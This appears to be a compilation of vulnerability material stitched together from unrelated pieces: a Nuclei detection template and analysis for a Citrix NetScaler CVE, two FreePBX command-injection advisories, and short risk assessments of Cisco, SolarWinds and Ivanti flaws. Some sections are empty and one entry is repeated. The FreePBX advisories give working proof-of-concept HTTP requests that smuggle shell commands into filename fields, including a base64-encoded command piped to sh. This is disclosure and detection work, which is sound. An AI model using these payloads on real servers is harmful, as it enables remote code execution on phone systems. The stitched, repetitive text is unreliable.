CVE-2026-3055 — Detection & Recon Analysis

1. Executive summary

2. Technical surface under test

The template issues up to four GET requests per target (first successful match stops further paths due to stop-at-first-match: true):

Redirects are limited (max-redirects: 2), which reduces drift onto unrelated pages while still allowing typical HTTPS redirects.

3. Matcher logic (Nuclei)

All of the following must hold (matchers-condition: and):

1. HTTP 200 — Only successful responses are considered. Errors, redirects that do not end in 200 on the tested URL chain, or auth walls that return non-200 will not match.

2. Content indicators (citrix-recon-indicators) — A word matcher on the response body with condition: or across:

   • <authMethods (GetAuthMethods),
     
   • process Assertion (WS-Fed/SAML processing),
     
   • <EntityDescriptor / IDPSSODescriptor (SAML metadata).
     

3. Product fingerprint (citrix-product-fingerprint) — A DSL matcher requiring at least one of:

   • Substrings in headers (nsc_, citrix, netscaler, authenticateresponse), or
     
   • Substrings in body (citrix, netscaler, explicitforms).
     

Why the DSL layer exists: A header-only fingerprint misses deployments that return valid body content without distinctive Server/Set-Cookie strings on that specific response. Combining body keywords with the recon strings above keeps the template closer to “Citrix federation surface” than to generic pages that merely mention “Citrix.”

Extractors pull ExplicitForms or SAML from the body for reporting; they do not affect matching.

4. Strengths

• Multi-path coverage reduces single-endpoint blind spots (e.g., metadata available when GetAuthMethods is locked down).
  
• Fingerprint OR logic in the DSL layer improves recall versus the previous header-only approach.
  
• References point to vendor remediation (CTX696300), supporting defensive prioritization.
  

5. Limitations and false signals

6. recon_poc.sh alignment

The script performs manual, low-impact checks aligned with the template’s first two paths:

• Default TARGET=127.0.0.1 to steer usage toward lab environments.
  
• Optional PROXY for traffic inspection (e.g., Burp) without hardcoding a third-party host.
  
• Warning when the target is not localhost.
  
• Explicit disclaimer that results are indicators only, not exploitability proof.
  

Operationally, the script is useful for validating that a lab NetScaler returns expected XML/snippet shapes before running fuller scanner workflows.

7. Defensive recommendations

1. Patch per CTX696300 on supported versions; treat matches as priority candidates for patch verification.
   
2. Reduce exposure: restrict management and federation endpoints where architecture allows; enforce TLS and monitoring on /cgi/* and federation paths.
   
3. Correlate scanner findings with asset inventory and IdP configuration (SAML vs WS-Fed vs LDAP-only) before treating a hit as production-critical.
   

8. Document scope

This analysis describes detection logic in this repository only. It does not reproduce exploit methodology, timing thresholds, or payload sizes. For authoritative vulnerability details, rely on Citrix publications and your organization’s security advisories.

info:
  name: Citrix NetScaler ADC/Gateway - Advanced SAML IdP & Recon Detection (CVE-2026-3055)
  author: Enoson Mathivannan(https://www.linkedin.com/in/enoson-mathivannan-636985121/)
  severity: critical
  description: |
    Detects Citrix NetScaler ADC and Gateway systems configured as a SAML Identity Provider (IdP) 
    by checking for both official metadata endpoints and active reconnaissance targets identified 
    in the wild. These configurations are vulnerable to CVE-2026-3055 (CitrixBleed 3).
  remediation: |
    Apply the security updates provided by Citrix in bulletin CTX696300 immediately. 
    Systems exposing these endpoints should be prioritized for patching.
  reference:
    - https://support.citrix.com/s/article/CTX696300
    - https://x.com/watchtowrcyber/status/2037629558375993639
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
    cvss-score: 9.3
    cve-id: CVE-2026-3055
    cwe-id: CWE-125
  metadata:
    max-request: 4
    product: netscaler_adc
    vendor: citrix
  tags: cve,cve2026,citrix,netscaler,saml,memory-leak,oob-read,recon

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi/GetAuthMethods"
      - "{{BaseURL}}/wsfed/passive"
      - "{{BaseURL}}/saml/idp/metadata"
      - "{{BaseURL}}/FederationMetadata/2007-06/FederationMetadata.xml"

    stop-at-first-match: true
    max-redirects: 2
    
    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        name: citrix-recon-indicators
        words:
          - "<authMethods"                   # From /cgi/GetAuthMethods
          - "process Assertion"              # From /wsfed/passive (SAML signature)
          - "<EntityDescriptor"              # From SAML Metadata
          - "IDPSSODescriptor"               # From SAML Metadata
        case-insensitive: true
        condition: or

      # Header-only fingerprints miss many gateways; allow body hints (same request).
      - type: dsl
        name: citrix-product-fingerprint
        dsl:
          - "contains(tolower(all_headers), 'nsc_') || contains(tolower(all_headers), 'citrix') || contains(tolower(all_headers), 'netscaler') || contains(tolower(all_headers), 'authenticateresponse') || contains(tolower(body), 'citrix') || contains(tolower(body), 'netscaler') || contains(tolower(body), 'explicitforms')"

    extractors:
      - type: regex
        name: exposed-endpoint
        part: body
        regex:
          - "ExplicitForms"                  # Extracted from GetAuthMethods
          - "SAML"                           # Extracted from Metadata

On March 23, 2026, Citrix published a security advisory for a critical vulnerability affecting their NetScaler ADC (formerly Citrix ADC) and NetScaler Gateway (formerly Citrix Gateway) products. This vulnerability, CVE-2026-3055, which is classified as an out-of-bounds read and holds a CVSS score of 9.3, allows unauthenticated remote attackers to leak potentially sensitive information from the appliance’s memory. The Citrix advisory states that systems configured as a SAML Identity Provider (SAML IDP) are vulnerable, whereas default configurations are unaffected.

As of the advisory’s publication, there is no known in-the-wild exploitation and no public proof-of-concept (PoC) available. According to Citrix, the vulnerability was identified internally via security review. However, exploitation of CVE-2026-3055 is likely to occur once exploit code becomes public, since the affected software is broadly exposed to the internet. Customers running affected Citrix systems should remediate this vulnerability as soon as possible; Citrix software has previously seen memory leak vulnerabilities broadly exploited in the wild, including the infamous “CitrixBleed” vulnerability, CVE-2023-4966, in 2023.

I’ve rated ‘Attacker Value’ as ‘High’ and ‘Exploitability’ as ‘Medium’. These were chosen because the affected configuration is non-default and the difficulty of leaking sensitive materials is not yet established, while also taking into consideration that the affected software is broadly exposed to the public internet and has historically been a very popular target for attackers.

A command injection vulnerability exists in FreePBX.
User-controlled input is passed unsanitized to a shell command executed via exec(), allowing authenticated attackers to achieve remote code execution (RCE) on the FreePBX server. The vulnerability can be triggered via an AJAX endpoint in the System Recordings module and affects users with access to the recordings functionality.

Affected Products

• Product: FreePBX
  
• Module: System Recordings
  
• File:
 admin/modules/recordings/Recordings.class.php
  
• Function:
 function fixeRIFF($filename)
  

Tested Versions

• FreePBX 17.0.24
  
• FreePBX 17.0.25
  

Vulnerability Type

• OS Command Injection
  
• CWE-78: Improper Neutralization of Special Elements used in an OS Command
  
• Leads to Remote Code Execution (RCE)
  

Attack Vector
Authenticated attacker with access to System Recordings module (including lower-privileged administrative users with module access).

Exploit Path

The FreePBX AJAX endpoint /admin/ajax.php exposes functionality from the System Recordings module.

Two AJAX commands are vulnerable:
[1] module=recordings&command=gethtml5
[2] module=recordings&command=convert

User-supplied POST parameters (e.g. file, filenames[]) are insufficiently sanitized and later passed into shell-executed operations via the Media handling subsystem. This allows command injection through crafted filename values..

Impact:
An attacker with access to the System Recordings module can:

• Execute arbitrary shell commands on the FreePBX server
  
• Write files to the web root
  
• Potentially escalate to full system compromise
  

This represents an escalation from module-level access to OS-level command execution.

Proof of Concept (PoC)

Endpoint 1 — gethtml5

POST /admin/ajax.php HTTP/1.1
Host: target
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<valid-session>

file=dummy.wav;`touch /var/www/html/pawned`&language=en&temporary[en]=0&filenames[en]=dummy.wav&command=gethtml5&module=recordings

Result:
File /var/www/html/pawned is created on the server.

Endpoint 2 — convert

POST /admin/ajax.php HTTP/1.1
Host: target
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<valid-session>

file=dummy.wav;`touch /var/www/html/pawned`&name=dummy&codec=wav&lang=en&temporary=1&command=convert&module=recordings

Result:
File /var/www/html/pawned is created on the server.

Root Cause

• Unsafe handling of user-controlled input used in file and media processing
  
• Command execution paths reachable via AJAX without sufficient sanitization
  
• Missing backend authorization enforcement for sensitive operations
  

The following code snippet shows the vulnerable code in file admin/modules/recordings/Recordings.class.php.
$filename is not sanitized and shell characters are not escaped.

        public function fixeRIFF($filename){
                exec("file -b $filename | grep 'RIFF' ", $out, $ret);
                if($ret === 0 ){
                        dbug(_("An error is occured on RIFF detection."));
                }
                if(empty($out[0])){
                        if (isset($_POST["name"]) && str_starts_with($_POST["name"], "custom/")) {
                                $f = str_replace("custom/", "", $_POST["name"]);
                        } else {
                                $f = str_replace("custom/", "", $_POST["file"]);
                        }
                        $cmd    = "mv ".$this->temp."/$f.wav $filename";
                        exec($cmd, $out, $ret);
                }
        }

Mitigation

FreePBX 16 (recordings) >= 16.0.17.2 && < 16.0.20 are vulnerable. Please upgrade to version 16.0.20.
FreePBX 17 (recordings) >= 17.0.2.4 && < 17.0.5 are vulnerable. Please upgrade to version 17.0.5.

References

CVE-2026-28287
FreePBX vulnerability disclosure

Credits

Discovery –> h00die.gr3y@gmail.com

A command injection vulnerability exists in FreePBX when using the ElevenLabs Text-to-Speech (TTS) engine. User-controlled input is passed unsanitized to a shell command executed via exec(), allowing authenticated attackers to achieve remote code execution (RCE) on the FreePBX server.
The vulnerability can be triggered via an AJAX endpoint in the System Recordings module and affects users with access to the recordings functionality.

Affected Product

• Product: FreePBX
  
• Module: System Recordings
  
• Driver: ElevenLabs TTS
  
• File:
 admin/modules/recordings/drivers/Elevenlabs.php
  
• Function:
 convertToAudio()
  

Affected Versions

• Confirmed on:
  
  • FreePBX 16 and 17
    
• Likely affects all versions where:
  
  • ElevenLabs TTS driver is present
    
  • convertToAudio() uses exec() without argument escaping
    

Vulnerability Type

• OS Command Injection
  
• CWE-78: Improper Neutralization of Special Elements used in an OS Command
  
• Leads to Remote Code Execution (RCE)
  

Attack Vector
Authenticated attacker with access to System Recordings module (including lower-privileged administrative users with module access).

Root Cause

In convertToAudio(), user-controlled input $file is concatenated directly into a shell command without escaping:

$command = "ffmpeg -y -i ".$amp_conf["ASTSPOOLDIR"]."/tmp/".$file.".MP3".
           " -acodec pcm_s16le -ac 1 -ar 44100 ".
           $amp_conf["ASTSPOOLDIR"]."/tmp/".$file.".wav 2>&1";
exec($command, $output, $returnCode);

The $file variable originates from the POST parameter file_name and is not sanitized or escaped, allowing shell meta-characters (e.g., back-ticks) to be injected and executed.

Proof of Concept (PoC)

Payload (Base64-encoded to avoid file creation errors)

echo -n "touch /var/www/html/pawned" | base64

Result:
dG91Y2ggL3Zhci93d3cvaHRtbC9wYXduZWQ=

Injected payload:

echo${IFS}dG91Y2ggL3Zhci93d3cvaHRtbC9wYXduZWQ=|base64${IFS}-d|sh

Exploit Request
[1] First get an ElevenLabs API key (can be obtained from https://elevenlabs.io/app/developers/api-keys) after registration.
[2] Set the API key with the request below.

GET /admin/ajax.php?module=recordings&command=setapikey&engine=Elevenlabs&key=sk_REDACTED HTTP/1.1
Host: <target>
X-Requested-With: XMLHttpRequest
Cookie: PHPSESSID=<valid-session>

[3] Submit the exploit requests using a valid VoiceId that you can obtain from the response from the request above.

POST /admin/ajax.php?module=recordings&command=ttsConvert HTTP/1.1
Host: <target>
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<valid-session>

engine=Elevenlabs&file_name=;`echo${IFS}dG91Y2ggL3Zhci93d3cvaHRtbC9wYXduZWQ=|base64${IFS}-d|sh`;&text=Cuckoo&voiceId=CwhRBWXzGAHq8TQ4Fs17&langCode=en

Result:
The command executes successfully and creates the file:
/var/www/html/pawned

This confirms arbitrary command execution on the FreePBX host.

Preconditions

• Valid FreePBX login
  
• Access to System Recordings module
  
• ElevenLabs API key configured (free tier sufficient)
  

Impact

• Remote Code Execution as the web server user (typically asterisk or www-data)
  
• Full compromise of the PBX system
  
• Potential lateral movement, call interception, credential theft
  

Mitigation

FreePBX 16 (recordings) >= 16.0.17.2 && < 16.0.20 are vulnerable. Please upgrade to version 16.0.20.
FreePBX 17 (recordings) >= 17.0.2.4 && < 17.0.5 are vulnerable. Please upgrade to version 17.0.5.

References

CVE-2026-28209
FreePBX vulnerability disclosure

Credits

Discovery –> h00die.gr3y@gmail.com

CVE-2026-20127 is a critical authentication bypass vulnerability affecting Cisco Catalyst SD‑WAN Controller and Cisco Catalyst SD‑WAN Manager that was patched on February 25, 2026. The vulnerability was originally identified and reported to Cisco by Australian Signals Directorate’s Australian Cyber Security Centre as being exploited in the wild. This vulnerability, has been added to the CISA KEV catalog

CVE-2026-20127 is an authentication bypass vulnerability affecting Cisco Catalyst SD-WAN Controller and Manager systems. Exploitation allows a remote, unauthenticated attacker to submit specially crafted requests to the SD-WAN management/control plane, resulting in the creation of a trusted administrative session associated with an internal, high-privileged, non-root account.
In observed attacks documented in the Cisco SD-WAN Hunt Guide, this access was leveraged to register unauthorized (rogue) peers within the SD-WAN fabric. By inserting a malicious peer into the control plane, the attacker effectively established trusted device-level access, enabling configuration manipulation and broader control of the SD-WAN environment.

I’ve rated ‘Attacker Value’ as ‘Very High’, since Cisco is typically a huge target for threat actors, and also exploitation of this vulnerability allows access to critical infrastructure systems with elevated privileges. I’ve rated ‘Exploitability’ as ‘Moderate’, since this vulnerability has been identified as being exploited in the wild.

CVE-2025-40551 is one of four critical vulnerabilities affecting SolarWinds Web Help Desk that were patched on January 28, 2026. The vulnerability, which was reported to SolarWinds by Jimi Sebree of Horizon3.ai, is an unsafe deserialization bug, and it facilitates unauthenticated remote code execution on affected Web Help Desk systems. The issue is a patch bypass for a vulnerability that had two prior patch bypasses – CVE-2024-28986, a deserialization security flaw in the AjaxProxy component. This vulnerability, along with patch bypasses, have been added to the CISA KEV catalog.

CVE-2025-40551 is exploited by using a different URI path than previous exploits did, bypassing sanitization measures. That, along with the inclusion of some whitelisted terms, sidesteps defensive checks that had previously been implemented to prevent exploitation. The Horizon3.ai writeup published by the original finders demonstrated a simple JNDI lookup gadget, but weaponized exploits for Web Help Desk on Windows and Linux are now available.

I’ve rated ‘Attacker Value’ as ‘Very High’, since the software is popular, it sees exploitation in the wild, and help desk software tends to contain a lot of sensitive information. I’ve rated ‘Exploitability’ as ‘Very High’, since the bug class is a reliable one and weaponized gadget chains are available.

CVE-2026-1340 and CVE-2026-1281 are two very similar critical vulnerabilities affecting Ivanti Endpoint Manager Mobile (EPMM) that were announced on January 29, 2026. The impact of exploitation of the vulnerabilities is unauthenticated root-level remote code execution on a sensitive mobile device endpoint management system, making these bugs valuable to attackers; an attacker that compromises EPMM would typically gain access to a wealth of PII collected from joined mobile endpoints, along with a privileged position over the devices themselves. Notably, at the time of disclosure, Ivanti advised that exploitation in the wild led to the discovery of the vulnerabilities, and CISA added an entry to the KEV catalog shortly after disclosure.

The security firm watchTowr published an excellent technical writeup that includes a proof-of-concept exploit, and a Rapid7 Metasploit module PR has been opened. I’ve rated ‘Attacker Value’ as ‘Very High’, since breaching EPMM also results in the compromise of sensitive information held by the many devices managed by it. I’ve rated ‘Exploitability’ as ‘Very High’, since the attack vector is a web API request and the bug class is a reliable one.

CVE-2026-1281 and CVE-2026-1340 are two very similar critical vulnerabilities affecting Ivanti Endpoint Manager Mobile (EPMM) that were announced on January 29, 2026. The impact of exploitation of the vulnerabilities is unauthenticated root-level remote code execution on a sensitive mobile device endpoint management system, making these bugs valuable to attackers; an attacker that compromises EPMM would typically gain access to a wealth of PII collected from joined mobile endpoints, along with a privileged position over the devices themselves. Notably, at the time of disclosure, Ivanti advised that exploitation in the wild led to the discovery of the vulnerabilities, and CISA added an entry to the KEV catalog shortly after disclosure.

The security firm watchTowr published an excellent technical writeup that includes a proof-of-concept exploit, and a Rapid7 Metasploit module PR has been opened. I’ve rated ‘Attacker Value’ as ‘Very High’, since breaching EPMM also results in the compromise of sensitive information held by the many devices managed by it. I’ve rated ‘Exploitability’ as ‘Very High’, since the attack vector is a web API request and the bug class is a reliable one.